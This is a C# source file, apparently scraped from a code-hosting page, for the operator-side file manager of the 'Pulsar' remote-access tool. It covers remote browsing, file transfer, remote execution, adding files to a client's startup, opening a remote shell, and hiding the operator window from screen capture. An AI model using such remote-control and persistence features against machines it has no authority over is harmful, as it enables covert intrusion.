591 lines
22 KiB
C#
591 lines
22 KiB
C#
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using Pulsar.Common.Enums;
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using Pulsar.Common.Helpers;
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using Pulsar.Common.Messages;
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using Pulsar.Common.Models;
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using Pulsar.Server.Controls;
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using Pulsar.Server.Forms.DarkMode;
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using Pulsar.Server.Helper;
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using Pulsar.Server.Messages;
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using Pulsar.Server.Models;
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using Pulsar.Server.Networking;
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using System;
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using System.Collections.Generic;
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using System.IO;
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using System.IO.Compression;
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using System.Windows.Forms;
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using Process = System.Diagnostics.Process;
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namespace Pulsar.Server.Forms
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{
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public partial class FrmFileManager : Form
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{
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/// <summary>
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/// The current remote directory shown in the file manager.
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/// </summary>
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private string _currentDir;
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/// <summary>
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/// The client which can be used for the file manager.
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/// </summary>
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private readonly Client _connectClient;
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/// <summary>
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/// The message handler for handling the communication with the client.
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/// </summary>
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private readonly FileManagerHandler _fileManagerHandler;
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private enum TransferColumn
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{
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Id,
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Type,
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Status,
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}
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/// <summary>
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/// Holds the opened file manager form for each client.
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/// </summary>
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private static readonly Dictionary<Client, FrmFileManager> OpenedForms = new Dictionary<Client, FrmFileManager>();
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/// <summary>
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/// Creates a new file manager form for the client or gets the current open form, if there exists one already.
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/// </summary>
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/// <param name="client">The client used for the file manager form.</param>
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/// <returns>
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/// Returns a new file manager form for the client if there is none currently open, otherwise creates a new one.
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/// </returns>
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public static FrmFileManager CreateNewOrGetExisting(Client client)
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{
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if (OpenedForms.ContainsKey(client))
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{
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return OpenedForms[client];
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}
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FrmFileManager f = new FrmFileManager(client);
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f.Disposed += (sender, args) => OpenedForms.Remove(client);
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OpenedForms.Add(client, f);
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return f;
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}
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/// <summary>
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/// Initializes a new instance of the <see cref="FrmFileManager"/> class using the given client.
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/// </summary>
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/// <param name="client">The client used for the file manager form.</param>
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public FrmFileManager(Client client)
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{
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_connectClient = client;
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_fileManagerHandler = new FileManagerHandler(client);
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RegisterMessageHandler();
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InitializeComponent();
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DarkModeManager.ApplyDarkMode(this);
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ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
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}
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/// <summary>
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/// Registers the file manager message handler for client communication.
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/// </summary>
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private void RegisterMessageHandler()
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{
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_connectClient.ClientState += ClientDisconnected;
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_fileManagerHandler.ProgressChanged += SetStatusMessage;
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_fileManagerHandler.DrivesChanged += DrivesChanged;
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_fileManagerHandler.DirectoryChanged += DirectoryChanged;
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_fileManagerHandler.FileTransferUpdated += FileTransferUpdated;
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MessageHandler.Register(_fileManagerHandler);
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}
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/// <summary>
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/// Unregisters the file manager message handler.
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/// </summary>
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private void UnregisterMessageHandler()
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{
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MessageHandler.Unregister(_fileManagerHandler);
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_fileManagerHandler.ProgressChanged -= SetStatusMessage;
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_fileManagerHandler.DrivesChanged -= DrivesChanged;
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_fileManagerHandler.DirectoryChanged -= DirectoryChanged;
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_fileManagerHandler.FileTransferUpdated -= FileTransferUpdated;
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_connectClient.ClientState -= ClientDisconnected;
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}
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/// <summary>
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/// Called whenever a client disconnects.
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/// </summary>
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/// <param name="client">The client which disconnected.</param>
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/// <param name="connected">True if the client connected, false if disconnected</param>
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private void ClientDisconnected(Client client, bool connected)
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{
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if (!connected)
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{
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this.Invoke((MethodInvoker)this.Close);
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}
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}
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/// <summary>
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/// Called whenever drives changed.
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/// </summary>
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/// <param name="sender">The message handler which raised the event.</param>
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/// <param name="drives">The currently available drives.</param>
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private void DrivesChanged(object sender, Drive[] drives)
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{
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cmbDrives.Items.Clear();
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cmbDrives.DisplayMember = "DisplayName";
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cmbDrives.ValueMember = "RootDirectory";
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cmbDrives.DataSource = new BindingSource(drives, null);
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SetStatusMessage(this, "Ready");
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}
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/// <summary>
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/// Called whenever a directory changed.
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/// </summary>
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/// <param name="sender">The message processor which raised the event.</param>
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/// <param name="remotePath">The remote path of the directory.</param>
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/// <param name="items">The directory content.</param>
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private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items)
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{
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txtPath.Text = remotePath;
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_currentDir = remotePath;
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lstDirectory.Items.Clear();
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AddItemToFileBrowser("..", 0, FileType.Back, 0);
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foreach (var item in items)
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{
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switch (item.EntryType)
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{
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case FileType.Directory:
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AddItemToFileBrowser(item.Name, 0, item.EntryType, 1);
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break;
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case FileType.File:
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int imageIndex = item.ContentType == null ? 2 : (int)item.ContentType;
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AddItemToFileBrowser(item.Name, item.Size, item.EntryType, imageIndex);
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break;
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}
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}
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SetStatusMessage(this, "Ready");
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}
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/// <summary>
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/// Gets the image index of completed or canceled file transfers.
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/// </summary>
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/// <param name="status">File transfer status used to determine the image index.</param>
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/// <returns>The image index of the file transfer, default -1.</returns>
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private int GetTransferImageIndex(string status)
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{
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int imageIndex = -1;
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switch (status)
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{
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case "Completed":
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imageIndex = 1;
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break;
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case "Canceled":
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imageIndex = 0;
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break;
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}
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return imageIndex;
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}
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/// <summary>
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/// Called whenever a file transfer gets updated.
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/// </summary>
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/// <param name="sender">The message processor which raised the event.</param>
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/// <param name="transfer">The updated file transfer.</param>
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private void FileTransferUpdated(object sender, FileTransfer transfer)
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{
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for (var i = 0; i < lstTransfers.Items.Count; i++)
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{
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if (lstTransfers.Items[i].SubItems[(int)TransferColumn.Id].Text == transfer.Id.ToString())
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{
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lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status;
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lstTransfers.Items[i].ImageIndex = GetTransferImageIndex(transfer.Status);
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return;
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}
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}
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var lvi = new ListViewItem(new[]
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{transfer.Id.ToString(), transfer.Type.ToString(), transfer.Status, transfer.RemotePath})
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{ Tag = transfer, ImageIndex = GetTransferImageIndex(transfer.Status) };
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lstTransfers.Items.Add(lvi);
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}
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/// <summary>
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/// Combines the current path with the new path.
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/// </summary>
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/// <param name="path">The path to combine with.</param>
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/// <returns>The absolute combined path.</returns>
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private string GetAbsolutePath(string path)
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{
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if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes
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{
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if (_currentDir.Length == 1)
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return Path.Combine(_currentDir, path);
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else
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return Path.Combine(_currentDir + '/', path);
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}
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return Path.GetFullPath(Path.Combine(_currentDir, path));
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}
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/// <summary>
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/// Navigates one directory up in the hierarchical directory tree.
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/// </summary>
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/// <returns>The new directory path.</returns>
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private string NavigateUp()
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{
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if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes
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{
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if (_currentDir.LastIndexOf('/') > 0)
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{
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_currentDir = _currentDir.Remove(_currentDir.LastIndexOf('/') + 1);
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_currentDir = _currentDir.TrimEnd('/');
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}
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else
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_currentDir = "/";
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return _currentDir;
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}
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else
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return GetAbsolutePath(@"..\");
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}
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private void FrmFileManager_Load(object sender, EventArgs e)
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{
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this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient);
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_fileManagerHandler.RefreshDrives();
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}
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private void FrmFileManager_FormClosing(object sender, FormClosingEventArgs e)
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{
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UnregisterMessageHandler();
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_fileManagerHandler.Dispose();
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}
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private void cmbDrives_SelectedIndexChanged(object sender, EventArgs e)
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{
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SwitchDirectory(cmbDrives.SelectedValue.ToString());
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}
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private void lstDirectory_DoubleClick(object sender, EventArgs e)
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{
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if (lstDirectory.SelectedItems.Count > 0)
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{
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FileManagerListTag tag = (FileManagerListTag)lstDirectory.SelectedItems[0].Tag;
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switch (tag.Type)
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{
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case FileType.Back:
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SwitchDirectory(NavigateUp());
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break;
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case FileType.Directory:
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SwitchDirectory(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text));
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break;
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}
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}
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}
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private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e)
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{
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lstDirectory.LvwColumnSorter.NeedNumberCompare = (e.Column == 1);
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}
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private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
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{
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foreach (ListViewItem files in lstDirectory.SelectedItems)
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{
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FileManagerListTag tag = (FileManagerListTag)files.Tag;
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if (tag.Type == FileType.File)
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{
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string remotePath = GetAbsolutePath(files.SubItems[0].Text);
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_fileManagerHandler.BeginDownloadFile(remotePath);
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}
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}
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}
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private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
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{
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using (var ofd = new OpenFileDialog())
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{
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ofd.Title = "Select files to upload";
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ofd.Filter = "All files (*.*)|*.*";
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ofd.Multiselect = true;
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if (ofd.ShowDialog() == DialogResult.OK)
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{
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foreach (var localFilePath in ofd.FileNames)
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{
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if (!File.Exists(localFilePath)) continue;
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string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath));
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_fileManagerHandler.BeginUploadFile(localFilePath, remotePath);
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}
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}
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}
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}
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private void executeToolStripMenuItem_Click(object sender, EventArgs e)
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{
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foreach (ListViewItem files in lstDirectory.SelectedItems)
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{
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FileManagerListTag tag = (FileManagerListTag)files.Tag;
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if (tag.Type == FileType.File)
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{
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string remotePath = GetAbsolutePath(files.SubItems[0].Text);
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_fileManagerHandler.StartProcess(remotePath);
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}
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}
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}
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private void renameToolStripMenuItem_Click(object sender, EventArgs e)
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{
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foreach (ListViewItem files in lstDirectory.SelectedItems)
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{
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FileManagerListTag tag = (FileManagerListTag)files.Tag;
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switch (tag.Type)
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{
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case FileType.Directory:
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case FileType.File:
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string path = GetAbsolutePath(files.SubItems[0].Text);
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string newName = files.SubItems[0].Text;
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if (InputBox.Show("New name", "Enter new name:", ref newName) == DialogResult.OK)
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{
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newName = GetAbsolutePath(newName);
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_fileManagerHandler.RenameFile(path, newName, tag.Type);
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}
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break;
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}
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}
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}
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private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
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{
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int count = lstDirectory.SelectedItems.Count;
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if (count == 0) return;
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if (MessageBox.Show(string.Format("Are you sure you want to delete {0} file(s)?", count),
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"Delete Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
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{
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foreach (ListViewItem files in lstDirectory.SelectedItems)
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{
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FileManagerListTag tag = (FileManagerListTag)files.Tag;
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switch (tag.Type)
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{
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case FileType.Directory:
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case FileType.File:
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string path = GetAbsolutePath(files.SubItems[0].Text);
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_fileManagerHandler.DeleteFile(path, tag.Type);
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break;
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}
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}
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}
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}
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private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e)
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{
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foreach (ListViewItem files in lstDirectory.SelectedItems)
|
||
|
|
{
|
||
|
|
FileManagerListTag tag = (FileManagerListTag)files.Tag;
|
||
|
|
|
||
|
|
if (tag.Type == FileType.File)
|
||
|
|
{
|
||
|
|
string path = GetAbsolutePath(files.SubItems[0].Text);
|
||
|
|
|
||
|
|
using (var frm = new FrmStartupAdd(path))
|
||
|
|
{
|
||
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
||
|
|
{
|
||
|
|
_fileManagerHandler.AddToStartup(frm.StartupItem);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
RefreshDirectory();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
string path = _currentDir;
|
||
|
|
if (lstDirectory.SelectedItems.Count == 1)
|
||
|
|
{
|
||
|
|
var item = lstDirectory.SelectedItems[0];
|
||
|
|
FileManagerListTag tag = (FileManagerListTag)item.Tag;
|
||
|
|
|
||
|
|
if (tag.Type == FileType.Directory)
|
||
|
|
{
|
||
|
|
path = GetAbsolutePath(item.SubItems[0].Text);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(_connectClient);
|
||
|
|
frmRs.Show();
|
||
|
|
frmRs.Focus();
|
||
|
|
var driveLetter = Path.GetPathRoot(path);
|
||
|
|
frmRs.RemoteShellHandler.SendCommand($"{driveLetter.Remove(driveLetter.Length - 1)} && cd \"{path}\"");
|
||
|
|
}
|
||
|
|
|
||
|
|
private void btnOpenDLFolder_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (!Directory.Exists(_connectClient.Value.DownloadDirectory))
|
||
|
|
Directory.CreateDirectory(_connectClient.Value.DownloadDirectory);
|
||
|
|
|
||
|
|
Process.Start("explorer.exe", _connectClient.Value.DownloadDirectory);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void cancelToolStripMenuItem_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
foreach (ListViewItem transfer in lstTransfers.SelectedItems)
|
||
|
|
{
|
||
|
|
if (!transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") &&
|
||
|
|
!transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") &&
|
||
|
|
!transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue;
|
||
|
|
|
||
|
|
int id = int.Parse(transfer.SubItems[(int)TransferColumn.Id].Text);
|
||
|
|
|
||
|
|
_fileManagerHandler.CancelFileTransfer(id);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void clearToolStripMenuItem_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
foreach (ListViewItem transfer in lstTransfers.Items)
|
||
|
|
{
|
||
|
|
if (transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") ||
|
||
|
|
transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") ||
|
||
|
|
transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue;
|
||
|
|
transfer.Remove();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void lstDirectory_DragEnter(object sender, DragEventArgs e)
|
||
|
|
{
|
||
|
|
if (e.Data.GetDataPresent(DataFormats.FileDrop)) // allow drag & drop with files
|
||
|
|
e.Effect = DragDropEffects.Copy;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void lstDirectory_DragDrop(object sender, DragEventArgs e)
|
||
|
|
{
|
||
|
|
if (e.Data.GetDataPresent(DataFormats.FileDrop))
|
||
|
|
{
|
||
|
|
string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);
|
||
|
|
foreach (string localFilePath in files)
|
||
|
|
{
|
||
|
|
if (!File.Exists(localFilePath)) continue;
|
||
|
|
|
||
|
|
string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath));
|
||
|
|
|
||
|
|
_fileManagerHandler.BeginUploadFile(localFilePath, remotePath);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void btnRefresh_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
RefreshDirectory();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void FrmFileManager_KeyDown(object sender, KeyEventArgs e)
|
||
|
|
{
|
||
|
|
// refresh when F5 is pressed
|
||
|
|
if (e.KeyCode == Keys.F5 && !string.IsNullOrEmpty(_currentDir) && TabControlFileManager.SelectedIndex == 0)
|
||
|
|
{
|
||
|
|
RefreshDirectory();
|
||
|
|
e.Handled = true;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
/// <summary>
|
||
|
|
/// Adds an item to the file browser.
|
||
|
|
/// </summary>
|
||
|
|
/// <param name="name">File or directory name.</param>
|
||
|
|
/// <param name="size">File size, for directories use 0.</param>
|
||
|
|
/// <param name="type">File type.</param>
|
||
|
|
/// <param name="imageIndex">The image to display for this item.</param>
|
||
|
|
private void AddItemToFileBrowser(string name, long size, FileType type, int imageIndex)
|
||
|
|
{
|
||
|
|
ListViewItem lvi = new ListViewItem(new string[]
|
||
|
|
{
|
||
|
|
name,
|
||
|
|
(type == FileType.File) ? StringHelper.GetHumanReadableFileSize(size) : string.Empty,
|
||
|
|
(type != FileType.Back) ? type.ToString() : string.Empty
|
||
|
|
})
|
||
|
|
{
|
||
|
|
Tag = new FileManagerListTag(type, size),
|
||
|
|
ImageIndex = imageIndex
|
||
|
|
};
|
||
|
|
|
||
|
|
lstDirectory.Items.Add(lvi);
|
||
|
|
}
|
||
|
|
|
||
|
|
/// <summary>
|
||
|
|
/// Sets the status of the file manager.
|
||
|
|
/// </summary>
|
||
|
|
/// <param name="sender">The message handler which raised the event.</param>
|
||
|
|
/// <param name="message">The new status.</param>
|
||
|
|
private void SetStatusMessage(object sender, string message)
|
||
|
|
{
|
||
|
|
stripLblStatus.Text = $"Status: {message}";
|
||
|
|
}
|
||
|
|
|
||
|
|
/// <summary>
|
||
|
|
/// Fetches the directory contents of the current directory.
|
||
|
|
/// </summary>
|
||
|
|
private void RefreshDirectory()
|
||
|
|
{
|
||
|
|
SwitchDirectory(_currentDir);
|
||
|
|
}
|
||
|
|
public static void OpenDownloadFolderFor(Client client)
|
||
|
|
{
|
||
|
|
var path = client.Value.DownloadDirectory;
|
||
|
|
|
||
|
|
if (!Directory.Exists(path))
|
||
|
|
Directory.CreateDirectory(path);
|
||
|
|
|
||
|
|
Process.Start("explorer.exe", path);
|
||
|
|
}
|
||
|
|
|
||
|
|
/// <summary>
|
||
|
|
/// Switches to a new directory and fetches the contents of it.
|
||
|
|
/// </summary>
|
||
|
|
/// <param name="remotePath">Path of new directory.</param>
|
||
|
|
private void SwitchDirectory(string remotePath)
|
||
|
|
{
|
||
|
|
_fileManagerHandler.GetDirectoryContents(remotePath);
|
||
|
|
SetStatusMessage(this, "Loading directory content...");
|
||
|
|
}
|
||
|
|
|
||
|
|
private void zipFolderToolStripMenuItem_Click(object sender, EventArgs e)
|
||
|
|
{
|
||
|
|
if (lstDirectory.SelectedItems.Count != 1) return;
|
||
|
|
|
||
|
|
var selectedItem = lstDirectory.SelectedItems[0];
|
||
|
|
var fileTag = (FileManagerListTag)selectedItem.Tag;
|
||
|
|
|
||
|
|
if (fileTag.Type != FileType.Directory)
|
||
|
|
{
|
||
|
|
MessageBox.Show("Please select a directory to zip.", "Zip Folder",
|
||
|
|
MessageBoxButtons.OK, MessageBoxIcon.Information);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
string folderPath = GetAbsolutePath(selectedItem.SubItems[0].Text);
|
||
|
|
string zipFileName = $"{Path.GetFileName(folderPath)}.zip";
|
||
|
|
string destinationPath = Path.Combine(Path.GetDirectoryName(folderPath), zipFileName);
|
||
|
|
|
||
|
|
_fileManagerHandler.ZipFolder(folderPath, destinationPath, (int)CompressionLevel.Optimal);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|